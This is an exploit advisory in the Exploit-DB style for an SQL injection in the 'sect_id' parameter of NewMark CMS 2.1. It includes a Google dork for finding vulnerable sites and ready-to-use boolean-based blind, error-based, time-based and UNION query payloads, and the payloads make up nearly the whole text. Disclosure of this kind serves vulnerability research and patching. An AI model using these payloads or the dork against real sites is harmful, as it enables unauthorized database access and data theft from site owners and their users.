NewMark CMS 2.1 - 'sec_id' SQL Injection

# Exploit Title: NewMark CMS 2.1 - SQL Injection (sec_id)
# Google Dork: /catalog/?sect_id=
# Date: 2018-06-20
# Exploit Author: Berk Dusunur
# Vendor Homepage: https://nmark.ru/
# Software Link: https://nmark.ru/razrabotka/korporativniy-sayt/
# Version: v2.1
# Tested on: Pardus
# CVE : N/A

# Prof Of Consept
# sec id parameter affected by sql injection

# payload:
http://Target/catalog/?sect_id=e00d4757

# Parameter: sect_id (GET)
# Type: boolean-based blind
# Title: OR boolean-based blind - WHERE or HAVING clause (MySQL comment)

Payload: sect_id=-7753" OR 1455=1455#

# Type: error-based
# Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)
# 

Payload: sect_id=e00d4757" AND (SELECT 6440 FROM(SELECT COUNT(*),CONCAT(0x71717a7171,(SELECT(ELT(6440=6440,1))),0x716a7a6b71,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)-- twet

# Type: AND/OR time-based blind
# Title: MySQL >= 5.0.12 AND time-based blind

Payload: sect_id=e00d4757" AND SLEEP(5)-- UNpo

# Type: UNION query
# Title: MySQL UNION query (NULL) - 2 columns

Payload: sect_id=-1642" UNION ALL SELECT CONCAT(0x71717a7171,0x6f6a4d7666725478634c4d4657504e646650437571724b634c437176506149794645795a67424c67,0x716a7a6b71),NULL#